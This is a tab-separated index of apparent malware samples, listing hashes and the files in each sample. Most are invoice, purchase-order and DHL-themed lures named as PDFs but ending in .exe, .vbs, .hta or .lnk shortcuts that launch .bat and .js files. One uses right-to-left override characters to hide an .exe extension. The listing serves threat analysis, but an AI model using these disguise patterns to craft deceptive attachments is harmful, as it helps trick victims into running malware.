.\27137b14b278b8a32e57ef1b65c6ab352138d74a663a0425151026bd32934cde	27137b14b278b8a32e57ef1b65c6ab352138d74a663a0425151026bd32934cde_1661938884	"['.\27137b14b278b8a32e57ef1b65c6ab352138d74a663a0425151026bd32934cde_1661938884/invoice-not-paid-date08-08-22-pdf.lnk', '.\27137b14b278b8a32e57ef1b65c6ab352138d74a663a0425151026bd32934cde_1661938884/at/allTheyIntoWayMy.txt', '.\27137b14b278b8a32e57ef1b65c6ab352138d74a663a0425151026bd32934cde_1661938884/at/but.txt', '.\27137b14b278b8a32e57ef1b65c6ab352138d74a663a0425151026bd32934cde_1661938884/at/howOfWantThemGo.bat', '.\27137b14b278b8a32e57ef1b65c6ab352138d74a663a0425151026bd32934cde_1661938884/at/lookWouldHimOfCan.js', '.\27137b14b278b8a32e57ef1b65c6ab352138d74a663a0425151026bd32934cde_1661938884/at/time.gif']"	.\27137b14b278b8a32e57ef1b65c6ab352138d74a663a0425151026bd32934cde_1661938884/invoice-not-paid-date08-08-22-pdf.lnk	at/howOfWantThemGo.bat
.\291305e67c10c9b3fd59e3aef8cb8a42d540f1bf85f7cf1f191b2c9dccd49207	291305e67c10c9b3fd59e3aef8cb8a42d540f1bf85f7cf1f191b2c9dccd49207_1661938884	['.\291305e67c10c9b3fd59e3aef8cb8a42d540f1bf85f7cf1f191b2c9dccd49207_1661938884/DELAY_NOTICE_NEW_SCHEDULE.vbs']
.\2a5b0507e53a4542d29ac0f2927991fc167c5dc1730dec07d1cfec0bd6bb28da	2a5b0507e53a4542d29ac0f2927991fc167c5dc1730dec07d1cfec0bd6bb28da_1661938884	['.\2a5b0507e53a4542d29ac0f2927991fc167c5dc1730dec07d1cfec0bd6bb28da_1661938884/TNT AWB & INVOICE.exe']
.\2b0237674998e86b1026b63cd9dddc291d6a66aff9e489e7e22824ab79368742	2b0237674998e86b1026b63cd9dddc291d6a66aff9e489e7e22824ab79368742_1661938884	['.\2b0237674998e86b1026b63cd9dddc291d6a66aff9e489e7e22824ab79368742_1661938884/RFQ- P.0- 202208100237RO.vbs']
.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4	2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884	"['.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884/Invoice-August-09-2022pdf.lnk', '.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884/your/give.txt', '.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884/your/say.txt', '.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884/your/tell.txt', '.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884/your/thing.gif', '.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884/your/thingItsIAllThan.js', '.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884/your/thoseEvenGetThemWhen.bat', '.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884/your/upTheirOnNotShe.txt']"	.\2b6b6537c88cdd2dc334678dc4f4c18a5da6501f2f69a01534e9cc58ad091db4_1661938884/Invoice-August-09-2022pdf.lnk	your/thoseEvenGetThemWhen.bat
.\2d667431764746b8719e658145063d1ce52874101f190f3bb00b024ed0afe796	2d667431764746b8719e658145063d1ce52874101f190f3bb00b024ed0afe796_1661938884	"['.\2d667431764746b8719e658145063d1ce52874101f190f3bb00b024ed0afe796_1661938884/确认订单 # 880-H9100,pdf.exe']"
.\2d67f9bd9175fa8af0a0fe62539f379118ff7fe1e41e463751e643044e0735e8	2d67f9bd9175fa8af0a0fe62539f379118ff7fe1e41e463751e643044e0735e8_1661938884	"['.\2d67f9bd9175fa8af0a0fe62539f379118ff7fe1e41e463751e643044e0735e8_1661938884/documents.lnk', '.\2d67f9bd9175fa8af0a0fe62539f379118ff7fe1e41e463751e643044e0735e8_1661938884/one/meLike.txt', '.\2d67f9bd9175fa8af0a0fe62539f379118ff7fe1e41e463751e643044e0735e8_1661938884/one/thinkTell.js', '.\2d67f9bd9175fa8af0a0fe62539f379118ff7fe1e41e463751e643044e0735e8_1661938884/one/yourCould.bat']"	.\2d67f9bd9175fa8af0a0fe62539f379118ff7fe1e41e463751e643044e0735e8_1661938884/documents.lnk	one/yourCould.bat
.\2d6caf154d0aa24d0d3b6e3dfc427c57c55d8f72c96aaa4b53229babaaa8467e	2d6caf154d0aa24d0d3b6e3dfc427c57c55d8f72c96aaa4b53229babaaa8467e_1661938884	['.\2d6caf154d0aa24d0d3b6e3dfc427c57c55d8f72c96aaa4b53229babaaa8467e1661938884/Заказ на покупку(P.O46297408)ПЗЭМИ.exe']
.\2efaadaef5dc4f5b72b52b33f53cbfa0a2954c5b8837e30725763ff253872929	2efaadaef5dc4f5b72b52b33f53cbfa0a2954c5b8837e30725763ff253872929_1661938884	"['.\2efaadaef5dc4f5b72b52b33f53cbfa0a2954c5b8837e30725763ff253872929_1661938884/وثيقة طلب الطلب المرفقة 34552TY55,pdf.exe']"
.\2f35dba1b1fd6bf6661b61cbc88c4714a2459dc1f1d405fe26c6a7889f0c8111	2f35dba1b1fd6bf6661b61cbc88c4714a2459dc1f1d405fe26c6a7889f0c8111_1661938884	['.\2f35dba1b1fd6bf6661b61cbc88c4714a2459dc1f1d405fe26c6a7889f0c8111_1661938884/PO # PR-10899.exe']
.\2fd4720e776afd9e93bc0ef36f74c85dd2fc3cd06b6df774039647a22873ef8d	2fd4720e776afd9e93bc0ef36f74c85dd2fc3cd06b6df774039647a22873ef8d_1661938884
.\306102d305579d88b562318bbaebb140475f265d4c5b03cf28b2099aa876bcda	306102d305579d88b562318bbaebb140475f265d4c5b03cf28b2099aa876bcda_1661938884	"['.\306102d305579d88b562318bbaebb140475f265d4c5b03cf28b2099aa876bcda_1661938884/documents.lnk', '.\306102d305579d88b562318bbaebb140475f265d4c5b03cf28b2099aa876bcda_1661938884/one/aBy.js', '.\306102d305579d88b562318bbaebb140475f265d4c5b03cf28b2099aa876bcda_1661938884/one/comeBecause.bat', '.\306102d305579d88b562318bbaebb140475f265d4c5b03cf28b2099aa876bcda_1661938884/one/timeI.txt']"	.\306102d305579d88b562318bbaebb140475f265d4c5b03cf28b2099aa876bcda_1661938884/documents.lnk	one/comeBecause.bat
.\3072b45d10b4b8d03bc3c6418095b01b76ece61ef0b24750441fa02f04b81f86	3072b45d10b4b8d03bc3c6418095b01b76ece61ef0b24750441fa02f04b81f86_1661938884	['.\3072b45d10b4b8d03bc3c6418095b01b76ece61ef0b24750441fa02f04b81f86_1661938884/Kerin Karotamm. remise devis_pdf.exe']
.\30845a7676cee47809c601d673a0eb2ef116dbc16b3b466a4bea87c82867b07a	30845a7676cee47809c601d673a0eb2ef116dbc16b3b466a4bea87c82867b07a_1661938884	['.\30845a7676cee47809c601d673a0eb2ef116dbc16b3b466a4bea87c82867b07a_1661938884/Cerere de ofertă factură 2022-08-18.exe']
.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617	3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884	"['.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884/Invoice-August-09-2022pdf.lnk', '.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884/your/give.txt', '.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884/your/nowThoseUseBecauseAs.txt', '.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884/your/orInHowPeopleWe.js', '.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884/your/say.txt', '.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884/your/tell.txt', '.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884/your/theThingWithInWay.bat', '.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884/your/thing.gif']"	.\3118ae5d1126fe2fd3a1290cfd9fe7bba6bdf9fcc16985938e9836d57d30f617_1661938884/Invoice-August-09-2022pdf.lnk	your/theThingWithInWay.bat
.\328a06f4659bc21e822a326175fa9e35266a4b9535aeb5deb21170fbb549a41b	328a06f4659bc21e822a326175fa9e35266a4b9535aeb5deb21170fbb549a41b_1661938884	['.\328a06f4659bc21e822a326175fa9e35266a4b9535aeb5deb21170fbb549a41b_1661938884/RFQ- P.0-202208160237LB.exe']
.\32b380e7b6ee0e7ab296ffe91cad2d88209d38d884694a6851557977966b2849	32b380e7b6ee0e7ab296ffe91cad2d88209d38d884694a6851557977966b2849_1661938884	['.\32b380e7b6ee0e7ab296ffe91cad2d88209d38d884694a6851557977966b2849_1661938884/PVM Sąskaitą-Faktūrą_2022 08 14_pdf.exe']
.\33ced2dfc65aab1dfe9a994c1eb1d02261166aefbff46e4787ac4c09944e36a3	33ced2dfc65aab1dfe9a994c1eb1d02261166aefbff46e4787ac4c09944e36a3_1661938884	['.\33ced2dfc65aab1dfe9a994c1eb1d02261166aefbff46e4787ac4c09944e36a3_1661938884/DHL出货通知：2121015942.exe']
.\33e97aea71cba2560138b54c0c9f2f77f0c55d2c4f52ae8505c6a04a8c351ec0	33e97aea71cba2560138b54c0c9f2f77f0c55d2c4f52ae8505c6a04a8c351ec0_1661938884	['.\33e97aea71cba2560138b54c0c9f2f77f0c55d2c4f52ae8505c6a04a8c351ec0_1661938884/TNT AWB AND INVOICE.exe']
.\3447c62ed4f9f34c10341ca5a33080bf141634b6156bd41e1adb6fb7865ec4be	3447c62ed4f9f34c10341ca5a33080bf141634b6156bd41e1adb6fb7865ec4be_1661938884	"['.\3447c62ed4f9f34c10341ca5a33080bf141634b6156bd41e1adb6fb7865ec4be_1661938884/Sipariş 501527,pdf.exe']"
.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f	36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884	"['.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884/Invoice-August-09-2022pdf.lnk', '.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884/your/dayWellSoTakeIts.bat', '.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884/your/give.txt', '.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884/your/makeThoseFromLookMake.js', '.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884/your/say.txt', '.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884/your/tell.txt', '.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884/your/thing.gif', '.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884/your/wayHereYourYouHave.txt']"	.\36105d15bcda30709515cca798cdff377a248fa08afa2dafb8f3a3077eb9465f_1661938884/Invoice-August-09-2022pdf.lnk	your/dayWellSoTakeIts.bat
.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1	369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884	"['.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884/documents.lnk', '.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884/then/by.txt', '.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884/then/day.gif', '.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884/then/he.png', '.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884/then/intoYouMeHereGive.txt', '.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884/then/tellTwoOrAllWhich.bat', '.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884/then/thenFirstToAsThe.js', '.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884/then/use.txt']"	.\369d2fd7604592ad2045949574012961651ec5cf8113b5d170e7956963c44ab1_1661938884/documents.lnk	then/tellTwoOrAllWhich.bat
.\376e0d80dec3ac91b70bf15c87b2bce34bf5488e626f21890fa38faca621837f	376e0d80dec3ac91b70bf15c87b2bce34bf5488e626f21890fa38faca621837f_1661938884	['.\376e0d80dec3ac91b70bf15c87b2bce34bf5488e626f21890fa38faca621837f_1661938884/SKM-2022081507273514KW.vbs']
.\37a4656764bb345783e8acdc00bf13ad8cca67ec4b0b2bbc7a9f70a854d66185	37a4656764bb345783e8acdc00bf13ad8cca67ec4b0b2bbc7a9f70a854d66185_1661938884	['.\37a4656764bb345783e8acdc00bf13ad8cca67ec4b0b2bbc7a9f70a854d66185_1661938884/Booking.com Reservation review for refund.pdf.hta;1']
.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82	37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884	"['.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884/documents.lnk', '.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884/then/alsoLookWhichAboutWho.txt', '.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884/then/by.txt', '.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884/then/day.gif', '.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884/then/he.png', '.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884/then/hisDayAtThisLike.bat', '.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884/then/use.txt', '.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884/then/wellTellThisYearOr.js']"	.\37aa0673a41931f0e8d6a40592615a731affd3a9122c422eb42c33697d7b9d82_1661938884/documents.lnk	then/hisDayAtThisLike.bat
.\381a8244dd806967a83c6b0991e7c7e4f0515d653a29650940fc3980504f3023	381a8244dd806967a83c6b0991e7c7e4f0515d653a29650940fc3980504f3023_1661938884	['.\381a8244dd806967a83c6b0991e7c7e4f0515d653a29650940fc3980504f3023_1661938884/Confirmation Order SEB554561 dated 15 08 2022.vbs']
.\38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c	38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c_1661938884	"['.\38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c_1661938884/Reseter T11 Working - 16-Nov-2009/AdjProg.exe', '.\38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c_1661938884/Reseter T11 Working - 16-Nov-2009/Loader.exe', '.\38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c_1661938884/Reseter T11 Working - 16-Nov-2009/ReadMe!!! Urgent !!!.txt', '.\38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c_1661938884/Reseter T11 Working - 16-Nov-2009/StrGene.dll', '.\38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c_1661938884/Reseter T11 Working - 16-Nov-2009/apdadrv.dll', '.\38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c_1661938884/Reseter T11 Working - 16-Nov-2009/auto.bat', '.\38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c_1661938884/Reseter T11 Working - 16-Nov-2009/eps.tmp', '.\38b150b0606ad8624a411f814aeabeeb336c25bfd035b9fe96326fa69777003c_1661938884/Reseter T11 Working - 16-Nov-2009/null']"
.\38f898cc9126909f92d25c7f97ef4e5f35f5517a1f6feed07bc36f2c922d4622	38f898cc9126909f92d25c7f97ef4e5f35f5517a1f6feed07bc36f2c922d4622_1661938884	['.\38f898cc9126909f92d25c7f97ef4e5f35f5517a1f6feed07bc36f2c922d4622_1661938884/DHL Delivery Invoice.pdf.exe']
.\3a9db0cf81be8a58145b18b5d698ab3c53b7fae86b6443ef6e404fa7b85a0f4a	3a9db0cf81be8a58145b18b5d698ab3c53b7fae86b6443ef6e404fa7b85a0f4a_1661938884	"['.\3a9db0cf81be8a58145b18b5d698ab3c53b7fae86b6443ef6e404fa7b85a0f4a_1661938884/RFQ _Nuevo pedido - E5517,pdf.exe']"
.\3b1d12553b369cbc73e9e27aec7ac36d4e0202a060cd4c3e1508dcf4d209fce2	3b1d12553b369cbc73e9e27aec7ac36d4e0202a060cd4c3e1508dcf4d209fce2_1661938884	['.\3b1d12553b369cbc73e9e27aec7ac36d4e0202a060cd4c3e1508dcf4d209fce2_1661938884/Docu0020.exe;1']
.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06	3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884	"['.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884/Invoice-August-09-2022pdf.lnk', '.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884/your/aboutLikeLikeHowTell.txt', '.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884/your/give.txt', '.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884/your/manyByYearAtA.js', '.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884/your/notThanGoBeVery.bat', '.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884/your/say.txt', '.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884/your/tell.txt', '.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884/your/thing.gif']"	.\3b2d411de1a24cac614d8fbd0a71da03f7f6ee1723f94c4d7b23878506be4e06_1661938884/Invoice-August-09-2022pdf.lnk	your/notThanGoBeVery.bat
.\3ba9e82575262067725feda9cefac9a6a6350ead5037ae9d85c398a0ecf6c6eb	3ba9e82575262067725feda9cefac9a6a6350ead5037ae9d85c398a0ecf6c6eb_1661938884	['.\3ba9e82575262067725feda9cefac9a6a6350ead5037ae9d85c398a0ecf6c6eb_1661938884/見積のリクエスト：RFQ-2022080902401220JP.exe']
.\3c5433a3b972579c2e5c9a5d9cad334d4503cd9e1f444d084451ca4ac1bb539f	3c5433a3b972579c2e5c9a5d9cad334d4503cd9e1f444d084451ca4ac1bb539f_1661938884	"['.\3c5433a3b972579c2e5c9a5d9cad334d4503cd9e1f444d084451ca4ac1bb539f_1661938884/MURATA PURCHASE ORDER,pdf.exe']"
.\3d0c5d4e14e8e744115741b9818603c174b6d1210a0dd30622cd84c9174a1efb	3d0c5d4e14e8e744115741b9818603c174b6d1210a0dd30622cd84c9174a1efb_1661938884	['.\3d0c5d4e14e8e744115741b9818603c174b6d1210a0dd30622cd84c9174a1efb_1661938884/2094677125591.exe']
.\3d5a1d412e3cfdf456e922228d638330490d427e40fbe3e641ce495d7392a450	3d5a1d412e3cfdf456e922228d638330490d427e40fbe3e641ce495d7392a450_1661938884	['.\3d5a1d412e3cfdf456e922228d638330490d427e40fbe3e641ce495d7392a450_1661938884/報價請求：鑰匙AS532- TW835.exe']
.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b	3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884	"['.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884/documents.lnk', '.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884/then/by.txt', '.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884/then/day.gif', '.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884/then/he.png', '.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884/then/manyTheyHerHimBecause.js', '.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884/then/ofThenHisOtherSay.bat', '.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884/then/oneAtBeComeCome.txt', '.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884/then/use.txt']"	.\3e932c1f6530909e5c67adce4a89f2c4b4b5e36026f28e96fb96fce31d7d7c6b_1661938884/documents.lnk	then/ofThenHisOtherSay.bat
.\3f994edced7d214da16cebd0e6e7405c5b04dd3f1bd6beaba940c6611d2e4790	3f994edced7d214da16cebd0e6e7405c5b04dd3f1bd6beaba940c6611d2e4790_1661938884	['.\3f994edced7d214da16cebd0e6e7405c5b04dd3f1bd6beaba940c6611d2e4790_1661938884/DELAY_NOTICE_NEW_SHIPMENT_SCHEDULE.vbs']
.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3	3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884	"['.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/CS_installer.exe', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/CS_installer.pdb', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/CS_installer.exe.config', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/Microsoft.Win32.TaskScheduler.dll', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/_meta.txt', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/de/Microsoft.Win32.TaskScheduler.resources.dll', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/es/Microsoft.Win32.TaskScheduler.resources.dll', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/fr/Microsoft.Win32.TaskScheduler.resources.dll', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/it/Microsoft.Win32.TaskScheduler.resources.dll', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/pl/Microsoft.Win32.TaskScheduler.resources.dll', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/ru/Microsoft.Win32.TaskScheduler.resources.dll', '.\3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3_1661938884/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll']"
.\3fd277c3b8ed6454ffd054ff29389e7b4cd4a8af6ccdf006b42d7bb39e7a8134	3fd277c3b8ed6454ffd054ff29389e7b4cd4a8af6ccdf006b42d7bb39e7a8134_1661938884	['.\3fd277c3b8ed6454ffd054ff29389e7b4cd4a8af6ccdf006b42d7bb39e7a8134_1661938884/DHL Shipment Notification.pdf.exe']
.\40bd0dcc762fb84e09723adc56002d427058d7ab975f50fd764a76e08bdfc474	40bd0dcc762fb84e09723adc56002d427058d7ab975f50fd764a76e08bdfc474_1661938884	"['.\40bd0dcc762fb84e09723adc56002d427058d7ab975f50fd764a76e08bdfc474_1661938884/Sipariş Metak_WJO-001,pdf.exe']"
.\40e6c8c365e8a4de4e926486443bf7db0e7bd00cee3a0206caa8e80cb290b8b5	40e6c8c365e8a4de4e926486443bf7db0e7bd00cee3a0206caa8e80cb290b8b5_1661938884	['.\40e6c8c365e8a4de4e926486443bf7db0e7bd00cee3a0206caa8e80cb290b8b5_1661938884/STATEMENT OF ACCOUNT.exe']
.\414727f6bcab9b92ba504ae41b31157aa83198eeb3710a5e63e915e1c7edcd9a	414727f6bcab9b92ba504ae41b31157aa83198eeb3710a5e63e915e1c7edcd9a_1661938884	['.\414727f6bcab9b92ba504ae41b31157aa83198eeb3710a5e63e915e1c7edcd9a_1661938884/PO3177008142 \u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202e\u202efdp.exe']
.\42bbe8f596f439a07574adcb83453f52f4c8ce61d3dd916aacc37a647b3f8c3d	42bbe8f596f439a07574adcb83453f52f4c8ce61d3dd916aacc37a647b3f8c3d_1661938884	"['.\42bbe8f596f439a07574adcb83453f52f4c8ce61d3dd916aacc37a647b3f8c3d_1661938884/ORDEN DE COMPRA DE A.W. Chesterton,pdf.exe']"
.\44f80d2a6a59d6f19ec30143e7d6f1488c971907f973764d12b9fc448b9378c1	44f80d2a6a59d6f19ec30143e7d6f1488c971907f973764d12b9fc448b9378c1_1661938884	['.\44f80d2a6a59d6f19ec30143e7d6f1488c971907f973764d12b9fc448b9378c1_1661938884/VPO_SP.9686_Flex_rev_2_BL6534368.exe']
.\455a7127b79c6ab1e5ec767bed1d0f6420524dbf3a2fb6037c779ce863828118	455a7127b79c6ab1e5ec767bed1d0f6420524dbf3a2fb6037c779ce863828118_1661938884	"['.\455a7127b79c6ab1e5ec767bed1d0f6420524dbf3a2fb6037c779ce863828118_1661938884/N.° de pedido NUEVO MGE-PO-2022-029, PDF.exe']"
.\4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368	4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368_1661938884	"['.\4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368_1661938884/documents.lnk', '.\4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368_1661938884/their/as.txt', '.\4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368_1661938884/their/from.txt', '.\4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368_1661938884/their/meManGetOneOnly.bat', '.\4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368_1661938884/their/themCouldPeopleAThink.txt', '.\4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368_1661938884/their/who.jpg', '.\4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368_1661938884/their/yearWellLikeOnlyKnow.js']"	.\4683295f5ab80ab5fda437ca73b1bde70b5e147cd266ea4b2352127393404368_1661938884/documents.lnk	their/meManGetOneOnly.bat
.\48e84625a43a7452caa3dbec59e4ab51f97f41de0878dc32f6aa7464be71e86f	48e84625a43a7452caa3dbec59e4ab51f97f41de0878dc32f6aa7464be71e86f_1661938884	['.\48e84625a43a7452caa3dbec59e4ab51f97f41de0878dc32f6aa7464be71e86f_1661938884/R RC5000 OFFERTA 512_pdf.exe']
.\49be46025d2f9068312800411d8150d9a3533bb3ae153624a8f58f7be3a84539	49be46025d2f9068312800411d8150d9a3533bb3ae153624a8f58f7be3a84539_1661938884	"['.\49be46025d2f9068312800411d8150d9a3533bb3ae153624a8f58f7be3a84539_1661938884/REVISIÓN DE COMPRA DE PLUSSTEEL 23244FG,pdf.exe']"
.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504	4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884	"['.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884/Invoice-August-09-2022pdf.lnk', '.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884/your/butDoFindManOr.js', '.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884/your/give.txt', '.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884/your/itsNoWantThenGet.bat', '.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884/your/peopleHowComeWantOnly.txt', '.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884/your/say.txt', '.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884/your/tell.txt', '.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884/your/thing.gif']"	.\4b065658564ed75687133f216a0aba6442e912d073392fb819db9e1f17ac5504_1661938884/Invoice-August-09-2022pdf.lnk	your/itsNoWantThenGet.bat
